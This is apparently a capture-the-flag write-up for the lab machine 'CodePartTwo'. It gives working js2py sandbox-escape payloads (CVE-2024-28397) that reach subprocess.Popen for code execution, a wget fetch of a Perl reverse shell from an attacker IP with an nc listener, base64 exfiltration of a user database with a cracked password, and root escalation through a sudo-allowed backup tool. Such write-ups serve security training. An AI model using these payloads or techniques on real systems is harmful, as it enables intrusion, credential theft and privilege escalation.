Preview
← BACK
CodePartTwo Avatar

CodePartTwo

Recon

PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
|_banner: SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.13
8000/tcp open  http    syn-ack ttl 63 Gunicorn 20.0.4
|_http-server-header: gunicorn/20.0.4
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

User

On the lading of the web server, we se a download button. The website serves a simple Flask application that uses js2py to evaluate user provided JavaScript code and run it.

Since the download button provides us with the code we are doing a white box, looking at the requirements.txt we find that the website is using js2py==0.74.

Looking online we find CVE-2024-28397, there are some pretty good PoCs on this subject:

  • https://github.com/Marven11/CVE-2024-28397-js2py-Sandbox-Escape/blob/main/poc.py
  • https://yun.ng/c/ctf/2024-deadsec-ctf/web/retrocalc

The first objective is to get access to a Python object, but every idea keeps failing:

Error: Error: your Python function failed! unbound method type.__subclasses__() needs an argument
Object.getOwnPropertyNames({})
// Error: Object of type dict_keys is not JSON serializable

Looking trough the source code we find the culprit:

result = js2py.eval_js(code)
return jsonify({'result': result})

Since it's trying to jsonify the result, a lot of objects will fail to serialize. We could setup a local lab with debug prints, but honestly it's way faster to just try some payloads blindly, we can write any JavaScript code we want anyways so no need to dump large objects like your usual Sandbox escape.

Since our issue is getting confirmation of what we are doing, I found the best solution would be to JSON.Stringify the result, allowing us to get feedback. Now the first objective is finding a function we can exploit to RCE, Popen is a classic, let's loop and look for it:

let a = Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__
let obj = a(a(a,"__class__"), "__base__")

function findpopen(o) {
    for (let i in o.__subclasses__()) {
        let item = o.__subclasses__()[i];

        if (item.__module__ == "subprocess" && item.__name__ == "Popen") {
            return i;
        }
    }
}

let result = findpopen(obj)
JSON.stringify(result);

Got the Popen index

We find it at index 317. Trying to get an RCE still poses some issues, some characters are breaking the JSON.stringify, instead let's convert the output to hex and stringify that.

let a = Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__
let obj = a(a(a,"__class__"), "__base__")

let Popen = obj.__subclasses__()[317]

let cmd = "whoami"
let result = Popen(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
JSON.stringify(result[0].hex());

Got RCE

6170700a from hex -> app, great, we have RCE!

Let's try to get a revshell. After testing, we see that wget and perl are installed, let's do a Perl revshell then revshells.com

We setup a local http server and serve the payload, then download it via our RCE with wget:

wget http://10.10.14.92/foo.pl -O /tmp/foo.pl

Then stop the HTTP server, start our listener and execute the payload via the RCE:

nc -lvnp 9001

perl /tmp/foo.pl

We get a shell, looking around, we are the app user, I checked a couple of extra things, there's a marco user we don't have permissions for. Let's try to exfiltrate the instance/users.db. The file is not too large and the perl shell is not very convenient we can just exfiltrate it via base64:

wc -c instance/users.db
# 16384 instance/users.db
cat instance/users.db | base64 -w 0
# U1FMaXRlIGZvcm1hdCAzABAAAQEAQCAgAAAABgAAAAQAAAAAAAAAAAAAAAIAAAAEAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAC4/2Q0P+AADDk8ADxwPzw5PAAAAAAAAAA...

Now let's copy that and decode it locally:

cat users.db.b64 | base64 -d -w 0 > users.db

sqlite3 users.db
sqlite> .tables
# code_snippet  user
select * from user;
# 1|marco|649c9d65a206a75f5abe509fe128bce5
# 2|app|a97588c0e2fa3a024876339e27aeb42e

We can run the hash trough crackstation.net and we get the password: marco:sweetangelbabylove

Let's try to ssh:

ls
# backups  npbackup.conf  user.txt
cat user.txt
# <redacted1>

Root

Ok, so I noticed there's a npbackup, we find some traces in the /home/marco directory, there's the CLI tool stored inside the /opt/npbackup-cli directory which we can't access.

I realized that we have elevated permissions on the CLI tool:

sudo -l
# User marco may run the following commands on codeparttwo:
#     (ALL : ALL) NOPASSWD: /usr/local/bin/npbackup-cli

/usr/local/bin/npbackup-cli --help
# <SNIP>
# optional arguments:
#   -c CONFIG_FILE, --config-file CONFIG_FILE
#
#   -f, --force           Force running a backup regardless of existing backups age
#
#   --dump DUMP           Dump a specific file to stdout (full path given by
#                         --ls), use with --dump [file], add --snapshot-id to
#                         specify a snapshot other than latest
# <SNIP>

The --dump flag seems like the most promissing, let's try to create a backup of /root.

I copied the /home/marco/npbackup.conf file somewhere away from the eyes of everyone, and modified the repos.default.backup_ops.paths to backup /root instead of /home/app/app.

Then I tried to force a backup of my new config:

sudo npbackup-cli -c /tmp/npbackup.conf -f
# 2025-09-05 13:18:09,442 :: INFO :: Running backup of ['/root'] to repo default
# no parent snapshot found, will read all files
#
# Files:          15 new,     0 changed,     0 unmodified
# Dirs:            8 new,     0 changed,     0 unmodified
# Added to the repository: 190.612 KiB (39.883 KiB stored)
#
# processed 15 files, 197.660 KiB in 0:00
# snapshot fc1b7b19 saved

Great and we get the snapshot ID, let's request the /root/root.txt file from that snapshot:

sudo npbackup-cli -c /tmp/vmware-0001/.vmware.conf --dump /root/root.txt --snapshot-id fc1b7b19
# <redacted2>

And we the root flag.